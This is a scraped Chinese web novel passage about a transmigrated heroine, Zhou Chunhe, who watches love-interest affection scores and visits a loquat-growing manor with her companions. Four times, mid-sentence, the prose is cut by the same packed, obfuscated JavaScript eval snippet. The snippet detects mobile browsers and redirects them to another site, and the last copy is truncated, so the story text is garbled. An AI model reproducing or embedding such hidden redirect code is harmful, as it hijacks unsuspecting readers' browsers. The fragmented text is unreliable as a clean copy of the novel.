她几乎已经开始美滋滋的设想等任务结束的那天她该怎么庆祝了。 开心完之后,周春和又仔细看了一下谢斯年的好感度,没想到谢斯年的好感度同样突飞猛进,达到了可喜可贺的百分之六十五……嗯,好歹及格了不是。 不过周春和在喜悦的同时又觉得有些不解。 谢斯年的好感度她倒是能理解,毕竟谢斯年的好感度是以一种非常平稳的方式上升的,不会忽高忽低,更不会一飞冲天,很符合周春和印象中爱上一个人循序渐进的过程。但是傅怀玉的好感度她却觉得有些奇怪。 傅怀玉的好感度太跳脱也太进展飞快了,她觉得自己明明什么都没有做,傅怀玉的好感度就一下子飙升到了百分之九十五。这甚至还是在女主在场的情况下。 她到底做了什么才让傅怀玉的好感度变得这么高? 周春和对傅怀玉的印象一直都是那种温润公子,遇事永远和蔼,永远不急不躁,他似乎对什么都能包容,也永远不会失态。傅怀玉的好感度从七十到九十五的这段时间似乎并没有什么特殊的变化,就像是傅怀玉这个人,不管是爱和恨都是平淡的,不管多么波涛汹涌的情绪都会被一层平静的面具封在冰层之下,让人窥探不出真假。 如果不是可以实时的看到好感度,知晓傅怀玉的假面之下真实的情谊,那么周春和不论如何也不会相信现在傅怀玉竟然对自己的好感度已经如此之高。 不过周春和也由此想到了另外一件事——按照书中的描写,傅怀玉应该是逐步被女主吸引,最后爱上了女主。可就周春和的观察,傅怀玉似乎从始至终都没有把过多的注意力放在女主身上。 这是怎么一回事?是剧情发生了偏移吗? 可系统并没有主动提醒她,那就说明这是合理的偏移。由此周春和模模糊糊的总结出一条结论,那就是只要不影响男女主的感情线,周春和再怎么作都不会影响大方向的剧情。 这也就是说,剧情是否真的偏移,在于男女主之间的感情如何,在于他们最后的结局是不是He,至于女配做了什么、男配做了什么,他们是生是死,是爱是恨都影响不大。 这么说来,只要确保男女主的感情线平稳推进,那么不论周春和如何作天作地都没有关系。 想到这里,周春和觉得新世界的大门在自己面前打开了。 犹自兴奋了一会儿,周春和终于还是没有抵挡住那浓浓的困意,不知何时闭上眼睛进入了梦乡。 在彻底睡着之前,一个模模糊糊的念头突兀的闯进她的脑海之中。 如果任务结束,在有一位男主爱上她的时候,她忽然消失了,会带来什么影响呢? 她的意识从这个躯体内消失了,那么原主的意志会回来吗?原主还会爱男主吗?还会拆散男女主吗? 大家会发现她忽然之间变了一个人吗?如果傅怀玉和谢斯年中那个爱上她的人发现自己爱的人在一夜之间变了一副模样会作何感想? 还有周夏莲……周夏莲那么真心实意的待她,有好吃的第一个给她,出来时生怕她遇到危险,有什么变故也是第一个挡在她身前,如果她的意识消失了,周夏莲又该怎么办呢? 这些明明不是周春和该思考的问题,毕竟对她来说,自己现在经历的一切只是小说中的内容,而她要做的就是从书中离开,至于书中人接下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576658|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来如何生活,这不是她该想的问题。她和他们到底不是一路人。 可周春和却还是忍不住去想,并且一想到这些胸口就闷闷的难受。 此前她从未思考过这个问题,因为在她潜意识里,她总是要离开的,她从一开始就没有抱着和他们一起走下去的念头,她只把自己经历的这些当作一场不同寻常的风景和旅游,仅此而已。 可如今见到傅怀玉如此高的好感度,在意识到自己有望即将离开这个世界时,巨大的欣喜过后却是另一只怅然若失的难过。 一觉睡醒之后就到了下午,周春和睡的有些头疼,并且嗓子也干干的。她揉了揉眉心,想翻身下床,一扭头却发现自己的枕头被泪水濡湿了一块。 她又想到了睡着之前想的那些事情。 周春和叹了口气,自从来到这个世界之后,她第一次感觉到了如此明显的沉闷情绪。 不过她又很快安慰自己,说不定到时候还会陡生什么变故,影响傅怀玉的好感度呢,她现在觉得自己能很快完成任务实则有些过于乐观了,说不定以后还会是漫漫长路,她还有很多时间和这些人相处。 毕竟已经一起经历了这么多跌宕起伏,真到离别的时候,她肯定是不舍的。 安慰完自己之后,周春和的情绪也好了很多。她向来看得开,有很多事情根本不会多想,更不会把伤心事往心里搁,给自己徒增烦恼。 她一转头,就发现傅怀玉的床上是空的,人不知道什么时候已经离开了。 周春和轻轻拍了拍自己脸,让自己稍稍清醒一些,然后穿好衣服推门出来。 现在刚刚过了午时,裴瑾去厨房准备饭菜了,其他人便坐在空无一人的大厅聊天。 因为刚刚发生了那样的事情,所以大家的情绪都不太好,气氛也有些低迷。见周春和过来,周夏莲立刻朝她露出一个笑:“怎么现在就过来了?睡醒了吗?” 周春和点点头:“醒了,咱们中午吃啥呀?” 周夏莲回头朝厨房望了一眼,笑道:“吃荇菜和鸡肉,放心吧,有你最爱的猪蹄。” 周春和立刻绽放出一个真心实意的笑容:“真的吗?那太好了,一会儿我一定吃的一口不剩!” 看着周春和笑得如此明媚,周夏莲也忍不住稍稍吐了口气,跟着笑起来。 裴瑾在来巫山谷之前一直都是一个人,他一个人走南闯北,对那些洗衣做饭之类的事情早就已经手到擒来,所以做饭的速度很快,没一会儿就端着菜盘出来了。 大家简单的吃过饭便准备着手封印那些无魂人。 因为冰封术只有傅怀玉会,所以其余人都只是辅助傅怀玉行事而已。 等将这些无魂人封印在阴城之后,大家又在周围布下了防护阵,只有巫山谷的人能进这阵中来,做完这一切,他们才收拾行囊往阴花渡的方向赶路。 阴花渡离这里不远不近,脚程快的话,他们明日中午前便能走到。裴瑾之前去过阴花渡,所以对路线还算是比较熟悉。由裴瑾带路,大家很快继续往前赶路。 53. 枇杷府 晚上在附近的农家休憩了一夜,第二日继续赶路,众人果然在中午前赶到了阴花渡。 阴花渡因为靠近阴花海而得名,住在附近的百姓不算少,并且十分热闹。 这种热闹和阴阳城那种虚假的热闹不同,阴花渡的热闹是充满人气儿的、真实的,并且很有烟火气,沿街叫卖的百姓很多,每个人脸上都洋溢着笑容,路上行人摩肩接踵,有带着小孩出来的夫妻,还有一同出来游玩的好姐妹。 今日似乎还遇集,街上还有许多平常不常见的耍玩意儿,小孩子喜欢的用竹子做的小猪小鸭、整根树根挖成的盛酒的海碗、炮仗、九连环、推枣磨……各种周春和此前从来没见过的东西在这里应有尽有。周春和一路上走走停停,只觉得各种新奇玩意儿目不暇接。 大家显然被热闹的氛围感染到了,昨日在阴阳城的阴翳被稍稍驱散,大家脸上重新露出些许的笑颜。 走着走着,众人来到了一处张贴着各种文书的告示栏,周夏莲走过去瞥了一眼,贴在正中央的是一个邀请天下游历至此的猎妖人去枇杷府一聚的告示,说是过几日有件会危害百姓的棘手之事发生,请猎妖人前去相助。那文书最下方盖着一枚印章,赫然是一条盘锦的银环蛇。 周夏莲和其余人对视一眼,表情有些凝重:“不知这个枇杷府是什么地方,不过既然有这个银环山门派的图腾,想必和银环山关系匪浅。正好文书上说要邀请猎妖人去府上一聚,咱们且去瞧瞧究竟是怎么回事,这个‘会危害百姓的棘手之事’又是什么。” 众人皆觉得这个提议不错,于是朝路人打听了这个“枇杷府”在何处之后,边沿路找了过去。 枇杷府坐落在远离闹市的地方,从外面看上去,这院落极大,透过院墙能看见层层叠叠如同浩瀚绿海的枇杷树。 现在已经过了枇杷成熟的季节,但是院中的枇杷树依然硕果累累,各个金黄饱满,如同点缀在绿色海洋中的金黄色岛屿,看起来诱人无比。 周春和看着院中那些比寻常枇杷大多了的枇杷果,忍不住感叹道:“一开始我还在想为什么要取‘枇杷府’这么一个有些奇怪的名字,现在我算是明白了,原来是记实啊。不过话说现在都这个时节了,为什么还有这枇杷果?” 傅怀玉温声笑道:“或许是什么品种特殊的枇杷,走吧,进去看看便可了解了。” “好。” 几人敲响枇杷府的大门,很快就有两个门丁从里面把门打开了。 裴瑾和周夏莲自称是看到告示过来的猎妖人,两个门丁一点也不意外,很快将人放了进来。 其中一个门丁领路,将几个人带到了招待客人的前厅,枇杷府的主人王宽冬正坐在堂前喝茶,见有人进来,便立刻放下茶杯笑着迎了出去。 门丁将周夏莲他们的身份简单禀报了之后,便行了礼离开了。 王宽冬命人过来斟茶,大笑着招待几人:“几位贵客能光顾寒舍,真是让这里蓬荜生辉啊。快坐、快坐。尝尝这茶,可是上好的双井白芽,诸位一路赶来想必很累了吧,快喝点解解渴。” 周夏莲谢过王宽冬,只是现在一看见茶就会不自觉的想起前两次都是因为各种茶着了道,是以本能的对别人给的茶水有些抗拒。其余人也都不约而同的假装喝了一口,然后若无其事的将茶杯放下。 只有谢斯年浑然不在意的将杯中茶水一饮而尽。 喝完茶,周夏莲便开始步入正题:“对了,我们是看到外面告示栏上的告示才一路找过来的,不知阁下说的是什么事情,还会影响到百姓?说给我们听听,也好更好的助力府君才是。” 王宽冬叹了口气,满脸忧色的开了口:“诸位远道而来,不知道我们这里的情况。我们这里虽然百姓安居乐业,生活富裕美满,但是美中不足的是附近常常有大妖出没,我们总结大妖出没的规律,得出它们每至月中这一日便会过来一次。如今已经是十号,再等五日,那大妖便会现身,危害一方百姓。我们难以抵挡那些大妖,便只好广纳贤士,请天下英雄过来相助。” 周夏莲一脸凝重的点了点头:“原来是这样。” 王宽冬又笑道:“既然几位远道而来,便正好也在这里歇歇脚。准备准备几日,在十五日这天协同其他猎妖人一起斩妖除魔,在下替这里的百姓不胜感激几位。” 说着便一撩衣裳下摆要行大礼,最前方的裴瑾连忙先一步扶住王宽冬,止住了他下拜的动作:“阁下不必行此大礼,阁下一片仁心为了百姓,才真真是叫人敬服。” 王宽冬笑道:“府上已经收拾出来几间空房,若是几位不嫌弃,现在便可以回房休息。等各位休整好了,我便宴请大家吃午饭,也算是我的一点心意。” 裴瑾笑道:“既然如此,那我们就恭敬不如从命了。多谢王大人。” 这时候,谢斯年忽然笑眯眯的开了口:“我见王大人这院子里枇杷硕果累累,只是如今已经不是枇杷成熟的季节,不知王大人院中这些枇杷是什么品种,竟然还能在这个季节结果呢?” 王宽冬笑眯眯的说道:“小公子有所不知,此树不是寻常枇杷树,而是一种从蛮帮之地引进的新品种与当地的枇杷树杂交而成,除了我这里,便再没有这样的枇杷树了。是以我这里还因着这枇杷树小有名气,前来一探究竟的人不在少数。这枇杷树有个名儿,叫‘情尽枇杷’,这情尽枇杷不仅在春夏结果,秋冬也会再长一茬果实,并且果汁鲜美异常,各个个大果甜,最是滋阴补气了。诸位既然要住在这里,不妨随手摘几个尝尝,也不负过来一趟。” 谢斯年勾了勾唇:“那就多谢王大人了。” “小公子客气了,既然如此,各位贵客便先去休息片刻,等中午我们再详谈。” 几个纷纷作揖告辞,小厮将几人领到屋后的几件已经被收拾干净了的房子外,又和几人指明了厨房、书房、抱厦、主屋等位置,然后才行了礼离开了。 这边的房子倒是多,并且似乎是专门给旅人修葺的,摆设和家具都差不多。 大家简单商议了一下,各自选定了房间之后,便进去稍作休息。 周春和选的是靠南的一间小房子,周围种了十几株枇杷树,将房间笼罩在一片清凉之中。 这种阴凉在夏天叫人无比舒心,即便是头顶上艳阳高照,这房间也没有滚滚热浪,反而一派幽静和舒适。 周围没什么下人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576659|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以除了鸟虫鸣叫和时不时吹来的微风引起树叶波动之外,便再也没有其他声音了。周春和一下子就爱上了这片幽静的世外桃源。 她走进房间,虽然这一片的每间房都差不多规格,里面的东西也大差不差,但一眼看过去,却能知道主人用了心的。里面的每个摆件用具都用的同一色系,并且摆放的位置都无比合适。再配上窗户上的影影绰绰,看起来倒真是典雅舒适。 周春和坐在榻上,仔细打量了一下周围的环境。 床边挂着薄纱,桌子上有茶壶,里面已经填满了茶水,还冒着氤氲热气;椅子上面都搭着一水儿的椅袱,多宝格子上面放着官窑的美人觚,案上摆着青花竹石芭蕉玉壶春瓶,里面插着时兴的鲜花。墙壁上挂着当代大家的名画,与窗外明媚的景致相映成趣。 一切都准备的无比妥帖,周春和摸着质感如丝绸般顺滑的床单,心说这也太奢华了,走的时候随便带走一个就够他们吃一阵子的了。 周春和休息了一会儿,又站起来摸摸这个摸摸那个,正盘算着哪个好拿,房间里就响起了敲门声。 不多时,周夏莲的声音就在外面响了起来:“春和,春和?” 周春和连忙把手里的青花抹红海水龙纹小碗放下,一叠声的答应着:“我在呢!怎么了阿姐?” 她连忙过去开了门,周春和正笑盈盈的站在她门前,在她身后是屈着一条腿,没个正形的抱臂靠着树干的谢斯年,和双手交叠于广袖之中、正端端正正站着朝她微笑的傅怀玉。裴瑾站在周夏莲身侧,视线很有分寸的没往屋里看。 周夏莲替她拨了拨因为奔跑而有些凌乱的刘海,笑道:“到吃饭的时间了,刚刚有人来请,我和他说了马上过去。走吧,咱们先去吃饭,吃完饭正好打听一下银环蛇图案的事情。” “好!” 周夏莲笑着挽着周春和一起往吃饭的大厅走去,等到了地方,众人才发现原来到场的不止是他们五个,还有其他猎妖人也被一同邀请过来了。 这时候,周春和眼尖的在七八个猎妖人中瞧见了一个熟悉的人,她几乎推口而出道:“霄无缺?!” 那人转过脸,果然是霄无缺。 霄无缺看到他们似乎完全不觉得奇怪,只是挑了挑眉,在看到傅怀玉时,嘴边携着一抹有些怪异的笑。 周春和有一大堆的问题问霄无缺,比如说他当时为什么悄无声息的离开了,又是离开去哪了,为什么连招呼也不打一声——当初明明是他非要死皮赖脸的跟着他们,结果跟了没多久就悄无声息的离开了。 王宽冬还没来,大厅中的猎妖人正三三两两的互相攀谈,周春和趁机走到霄无缺面前,面色有些不善的质问他:“霄无缺?还真是你!那天在阴阳城的时候你跑哪去儿了?今天又怎么在这里忽然出现了,你不会是在偷偷跟踪我们吧?!” 霄无缺笑眯眯的看向周春和,露出一对小虎牙,看起来可可爱爱的,就在周春和还以为他转性了终于准备要和自己解释时,就听见霄无缺笑着吐出四个字:“不告诉你。” 周春和:“……”她悄悄翻了个白眼。 不告诉就不告诉,怎么这语气还是这么欠揍? 54. 枇杷府 周春和对霄无缺这货还算有点了解,这个人阴晴不定,想法和常人不同,若是他不想说的事情,便是把他打死也不会透露一个字。 反正霄无缺对他们的影响也不大,如今走了便走了,也没什么。 周春和见问不出来,也就没再坚持。 好在王宽冬很快就进来了,大家止住说话声,齐齐朝王宽冬作揖。 王宽冬满面笑容的回以一礼:“诸位远道而来,今日就是为大家接风洗尘的。快,各位请入座吧,不必拘礼。” 说着便坐在了主位上,大家见王宽冬坐了,这才也各自找位置坐下了。 桌上的菜式十分丰富,并且考虑到了不同地域的人,不仅有南方常见的菜式,更有北方那些家常菜,周春和吃了一口炖的软烂的肉,心里不仅再次感叹王宽冬的细致。 饭桌上不好当着这么多人的面直接问银环蛇的事情,于是大家也只是随着其余人闲谈。等吃过饭,桌上的众人彼此也就多有了解了。 等大家吃完饭陆续离开,周夏莲他们故意留在了最后面,看着人全部离开了,这才闲聊似的笑着问王宽冬:“王大人,今日我们看那告示上有这种——”周夏莲拿出一早撕下来的告示,指着上面银环蛇的标记说,“这种图案,这个蛇我瞧着无比眼熟,似乎和少时某个挚友有关。不过十几年前我那挚友一夜之间忽然消失了,茫茫天地间我再也没有见过他。我见他身上也有这种图案,是以过来问问王大人这图案代表什么意思?也好叫我看看还能不找到我那故友的踪迹。” 王宽冬眯着眼睛仔细瞧了瞧周夏莲指的地方,忍不住叹了口气:“唉,你说这个啊,不瞒姑娘说,其实这涉及了我家族的秘事……不过已经过了这么些年了,再秘密的东西也随风散去了,告诉你也没什么。姑娘可曾听说过‘银环山’这个门派?” 周夏莲道:“略有耳闻,只是我似乎听说这个门派曾经辉煌一时,但却不知为何一夜被灭了门。难不成王大人知道是怎么一回事?” 王宽冬一脸凝重的点了点头,又叹了口气:“实不相瞒,这个门派正是鄙人先祖一手创办的。” 周夏莲面露惊讶之色,王宽冬颓然地解释道:“这事已经过去了好些年,知道内情的人也越来越少,今日若不是姑娘来问,怕是就连我都有些恍惚了。姑娘说银环山被一夜灭了门,可知是为何?” 周夏莲摇摇头,王宽冬这才继续说:“是因为他们斩妖除魔,谁知杀掉了妖王的儿子,那妖王便带领大小妖怪一夜之间将银环山灭了门……那一夜银环山上下无一人幸免,血流成了河,尸体堆成了山。雨水下了三天三夜都没有冲散地上的血,地上的断肢残臂走两步就能碰到一个,伏尸遍野,惨绝人寰。只有我,那时尚在襁褓之中,在父母的庇佑之下侥幸乔装打扮被管家抱着逃了出来,不过为了伪装,也因此自断灵根,再也成为不了猎妖人了,这才让那妖王追寻不到我的踪迹。虽然如今妖王已死,但杀亲之仇依然存在,这也就是为什么我对妖族恨入骨髓,每日都要召集天下猎妖人去斩杀它们。” 原来还有这样一段辛酸往事,众人一时有些默然,不知道该说什么好。 王宽冬抹了一把脸,重新露出一个笑容:“姑娘的这位旧友想必也已经九死一生,不过凡事无绝对,天下之大,说不定姑娘的旧友就在其中,只不过需要时间去找就是了。若是姑娘需要帮助,和我说就是了,我在江湖上也认识些朋友,可以帮姑娘寻找。” 周夏莲勉强露出一个笑:“那就先谢过王老板了。” 她面露不忍,想必是觉得王宽冬如此赤诚丹心,而自己却编出一段话来欺骗他,有些愧疚罢了。 裴瑾走上前拍拍她的后背,周夏莲转头和他对视一眼,默默的靠在了他的怀中。 谢斯年却丝毫没有任何愧疚或是为王宽冬的经历而难过的表现,他依旧是那副似乎不谙世事的天真少年模样,嘴边携着一丝灿烂的笑,可是眼睛里面却无比冷漠。见大家都不说话,他笑眯眯地开了口:“王老板的遭遇果真是令人闻之落泪,不忍回忆。”他话锋一转,“不过我恰好了解一点银环山这个门派,王老板,我想问问您府上可还有昔日银环山的法器?不瞒王老板说,前些日子我在路边捡了一根银环针,只是我原本想,银环山这一门派已经覆灭,又是谁将这法器堂而皇之扔与地上的?今日才知道原来还有银环山的后人在此。既然如此,那便更好了,难道那法器是王老板扔的不曾?只是不知道王老板为什么要将法器扔在其他地方?” 听见谢斯年这话,王宽冬脸上生出一种诧异的神情:“什么法器?什么银环针?银环山不是用剑么?” 王宽冬这番话倒是弄得大家一时摸不着头脑,谢斯年仔细观察了一下王宽冬的表情,他不像是在撒谎,难不成他真对此事一无所知? 可这似乎有些说不通,就连裴瑾随便打听就能打听出来的事情,王宽冬作为银环山的后人怎么还会对此事一无所知? 王宽冬大概也看出大家脸上的神色各异,于是笑着找补:“我尚在不记事的年纪就被管家抱了出来讨生活,那管家不是猎妖人,更不懂这各门各派和武器,是以他只和我说了我的身世,并没有和我说起过什么‘银环针’的事情。而且我一人守着这院落生活,一向很少出去,家中的遭遇提起便忍不住落泪,是以街坊邻居为了不触动我的伤心事,也很少和我说起这些。我年纪大了,说难听点便是不管世事,自娱自乐,所以公子说的这些,我实属不甚了解。” 谢斯年的笑容不变:“原来是这样。” 王宽冬道:“不过公子所说那银针在何处?实在不行我便叫人去查一查,说不定是哪个人借着银环山的名头行不轨之事,叫我知道了,也好提前去瞧瞧,以免酿成大祸。” 谢斯年的眼神闪了闪,很快笑道:“哦,是很早之前偶然看见的了,现在我却也记不清到底是在哪里。若是等以后我想起来了,再和王老板说吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不知道为什么,周夏莲看向她和傅怀玉的眼神似乎隐隐闪着兴奋的光,还似乎隐藏着某种无法言说的期待:“哦……咳咳,不去了,我和阿瑾一会还要再去画几张符,也好为十五日做准备。你们去吧,玩的开心。” 说着推搡着一脸笑意的裴瑾就要离开。 周春和“哦”了一声,又转头看向谢斯年:“那你去吗?” 谢斯年似笑非笑的盯着她,不知道为什么,周春和能感觉到谢斯年周身的气场一下子冷了下来,明明现在是炎炎夏日,谢斯年那眼神却冻得她浑身一激灵:“我就不打扰你和你的傅公子独处了。” 他说完,不等周春和回答便转身离开了。 周春和莫名其妙的看着他的背影,疑惑的看了看其他人:“他突然发什么疯,谁又惹他了?” 除了傅怀玉脸上的笑意加深,其他人都茫然的耸了耸肩,最后脑袋开了点窍但不多的周夏莲给出了自认为最正确的解释:“不知道,可能是犯困了?有时候犯困了可能就有些烦躁。” 周春和摇了摇头,虽然有些看不惯谢斯年这种自己不顺心就要迁怒别人的行事方法,但很快也就抛诸脑后了。 她兴高采烈的扯了扯傅怀玉的衣袖,满目喜悦:“走吧,我们去吃、咳咳,去看枇杷。” 傅怀玉掩着唇轻笑一声,温声道:“好。” 和周夏莲告别完之后,两个人便并肩走向枇杷林深处。 55. 枇杷府 枇杷林郁郁青青,再加上金灿灿的枇杷果点缀其中,就更显得引人注目。 周春和和傅怀玉一同走进林中,很快便隐没在层层叠叠的绿色波浪里。 王宽冬格外偏爱枇杷树,是以后院几乎都用来种枇杷了,从周春和他们住的地方往北再走一会儿,就能看见成片成片绵延不绝的枇杷树。如今周春和和傅怀玉站的地方,就是那片最大的枇杷林。 王宽冬为了种更多的枇杷,后院已经扩建了三四次,听管家说,近期王宽冬又准备再次扩建院子,因为又一批枇杷树苗已经长好了,需要找地方移植,而现有的院子已经没有位置种了。 周春和四处看了看,只觉得枇杷树一眼望不到头,而且算算产量,估计供一个小镇的居民都绰绰有余,也不知道王宽冬怎么对枇杷这么情有独钟,种了一院子不够,还准备继续种,估计成熟的枇杷果吃都吃不完。 不过这林子里倒是散发着一种混合着土地和枇杷芳香的独特气味,让周春和一时间流连忘返。 各色各样高矮不同的枇杷树看的人眼花缭乱,周春和兴奋的环顾了一圈,终于找到一棵自己喜欢的枇杷树,她指着那株枇杷树,笑着朝傅怀玉指上面的枇杷果:“傅怀玉,你看那个枇杷果可好不好?” 傅怀玉顺着她的手指看过去,看到了一株几人高的枇杷树,这棵树枝繁叶茂,竟然比寻常的枇杷树大出一倍还不止。这一路走来,他们见到的多是中型偏小的枇杷树,大的独树一帜的这个枇杷树倒是少见。 他笑道:“若是你想吃,我便帮你摘下来吧。” 周春和摇了摇头,摩拳擦掌的看向那个果子,笑嘻嘻的自信说:“这个我来就好,我小时候最喜欢爬树了,你没见识过,我爬树可快了,是我们那一片里爬树最快的那个,其他小孩都可崇拜我了……当然,你现在也可以崇拜我。” 傅怀玉笑着看她,眼睛亮晶晶的:“……那好,那我便在下面守着你。” 周春和“哎”了一声,便把袖子往上撸了撸,一幅跃跃欲试的模样。她将裙子下摆撩起来,卷在自己的腰带里,然后比量了一下树干的宽度,扭头冲傅怀玉笑:“那你就在下面接果子吧。” 傅怀玉专注的看着她,笑盈盈的说:“好。你自己要小心些,留意脚下,别扭了脚。” “知道啦!” 周春和抱着树干,膝盖内侧发力,很快就手脚并用的往上爬起来。 虽然已经离小时候周春和爬树爬第一的时候已经过了很久,但周春和似乎依然“宝刀未老”,她爬的依然很快,并且还很稳,三下五除二就爬到了第一个树枝旁。她先伸出一只脚试探着踩在那个粗壮的树枝上,见树枝能撑住自己身体的重量,这才放心大胆的跨坐在了那根树枝上。 傅怀玉在树下看着周春和这一套行云流水的动作,眼睛似乎闪着光,就连嘴边惯常含着的那抹温和笑意也似乎更深了点。 周春和是如此的鲜活、如此的热情和自由。她和傅怀玉见过的任何一个人都不一样。 她可以自由自在的当着傅怀玉的面爬树,更可以自由自在的笑闹和做任何自己想做的事情。 她毫不在意自己的形象,但就是这样一副自由的样子打动了傅怀玉。 他看着她,像是看着一件藏在层层迷雾中的美玉。 周春和已经开始摘果子了,她的手掌在果实中上下翻飞,很快就摘了好几个枇杷果,她叫了一声傅怀玉,等傅怀玉到了合适的位置,她才将自己手里的枇杷果扔了下去。 下面的傅怀玉和她配合得当,周春和扔一个他便接一个,转眼间就接到了五六个金灿灿的枇杷果。 这些果子都是周春和精挑细选摘下来的,每个都有巴掌大小,闻起来有股熟透了的香味。 这个树枝上大的果子摘得差不多了之后,周春和便又往另一个树枝转移。 她无比灵活,小时候的经验此刻派上了用场,不一会儿就摘下来十来个。 上面还有枇杷,但周春和看着这么多估计也吃不完,再摘下去也只能等着放坏了,周春和便停了手,没继续摘。 傅怀玉笑道:“下来吧,我在下面守着你。放心往下来就是。” 周春和应了一声,手脚并用的抱着树干慢慢的往下滑,但她面对着树干,不太好看周围的情况,也不知道自己此刻到哪了,所以等快到地下的时候,周春和的脚被一根斜出来的树枝划了一下,身体重心不稳,一下子掉了下去。 但想象中的疼痛并没有传来,反而似乎落入了一个温暖的怀抱,周春和睁开眼睛看了看,傅怀玉那带着笑容的温和面容就这么闯入她的眼帘。 傅怀玉怀中有一股很淡很淡的檀香,被他温暖的怀抱拥抱着,就好像是在寒冷的冬天里,被一床刚刚晒过太阳的、温暖的、带着清淡香味的暖和被子包裹着,既舒服又安逸,让周春和舍不得挣开。 傅怀玉对上她的眼眸时,似乎很轻的怔愣了一下,随后便笑眯眯的看着她。 周春和注意到傅怀玉鼻尖上有一枚黑色的小痣,点缀在他高挺的鼻梁上,与他如玉的气质相得益彰。她的目光像是手掌,一寸寸抚摸过傅怀玉的脸颊,目光上移,对上了傅怀玉的眼睛。她看着傅怀玉浅色的眸子,在这么近的距离之下,周春和有些失神。 然后在她自己都没有反应过来之际,周春和神差鬼使般的伸出了手,轻轻抚上了傅怀玉的鼻尖。 直到温热的触感传来,周春和才恍然意识到自己再做什么。她赶紧收回手,咳了两声,匆忙从傅怀玉的怀中站起来。 怀中的温暖骤然消失,傅怀玉僵了片刻,然后才若无其事的整理了一下自己稍显凌乱的衣领,笑道:“姑娘没事吧?” 周春和摇了摇头,她直勾勾的看着傅怀玉,不知道是因为惊吓还是因为别的什么,她的心脏砰砰直跳。 她盯着傅怀玉看了一会儿,忽然又游离开目光,瞥见了地上黄澄澄的枇杷果。 刚刚发生的那些便暂时被她抛诸脑后,她迫切的需要些别的事情冲淡刚刚那股奇怪的的情绪,于是一撩衣服下摆,蹲在地上捡起地上的枇杷果,再站起来的时候,因为有了别的事情转移注意力,她的情绪果然已经稍稍平歇。周春和拿着枇杷果边剥皮边对傅怀玉扬起一张灿烂的笑脸:“来,让我来尝尝我的战利品美味不美味。喏,也给你一个,快尝尝好不好吃。” 她用沾满了黄色汁液的手将另一个枇杷递给傅怀玉。傅怀玉眼睛里带着笑意,伸手接了过来。 两个人靠着枇杷树坐下,阳光透过树叶的间隙洒下来,地面被分割出一个个形状不规则的光斑。 微风吹过枇杷林,虫子在草丛里放声名叫,偶然会出现蹦老高的蟋蟀和绿色的蚂蚱,静谧和阳光交替出现,笼罩着这片枇杷树林。而傅怀玉和周春和靠在一起,在这安静的林子里,吹着同一阵微风,感受着同一片暖阳和树荫,分享同一个枇杷果。 吃完枇杷果,又把要给周夏莲他们的果子一一装好,周春和这才安心的坐下和傅怀玉聊天。 傅怀玉其实是个很好的聊天对象,周春和话多,傅怀玉又总是能很认真的倾听周春和说话,他会安静的注视着周春和,会在合适的时间给予合适的回答,并且既不会让人觉得冒犯也不会无聊,所以其实周春和很喜欢和他一起聊天。 两人聊着聊着,忽然听见远处传来交谈声,不时夹杂着银铃般的悦耳笑声,看样子好像正在向这边走来。 周春和站起来,转身朝傅怀玉伸出手:“走,坐也坐够了,咱们起来活动活动,看看是哪里这么吵吧。” 碎光从周春和身后虚虚的托着她,大片的金色光斑让周春和的轮廓变得柔和,唇边扬起一个可爱的笑窝。傅怀玉似乎短短的失神了一阵,但很快,他就把手放在周春和朝他伸出的手上,脸上带着浅淡笑意,他轻声说:“好。” 笑声是从另一边传来的,两个人循着声音找过去,看见了四五人聚在一起。 这几个人有男有女,其中有个年纪看起来不大的少女,正站在一边眼巴巴的看着其他人聊天。 这女孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576661|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上穿的衣服看起来已经很破旧了,裙子上面补丁摞补丁,颜色也洗得发白,而且因为染色染的不均匀,给人一种肮脏的感觉。 与她同行之人倒是身穿华贵的衣服,看起来那个小姑娘和其他人格格不入。 那几人对待小女孩的态度也颐指气使、高高在上,随口就使唤她拿东西拿衣服,那个小女孩不敢反抗,只是可怜巴巴的按他们说的做。 这几个人应该也是被王宽冬邀来参与猎妖的。 周春和本来还想去质问这几人怎么回事,怎么敢光天化日之下霸凌一个小女孩。只是还没等她怒气冲冲的走上去开口,就敏锐的听见了其中一个看起来目中无人的男子叫她:“陆书雪,你还愣在这里干嘛?快去给我倒杯水来!” 那个被称作陆书雪的小女孩一脸惊恐的立刻去倒水了。 周春和听见这个名字,脚步一下子停住了。 傅怀玉在她身边站定,见她忽然不动了,有些疑惑地问:“怎么了?” 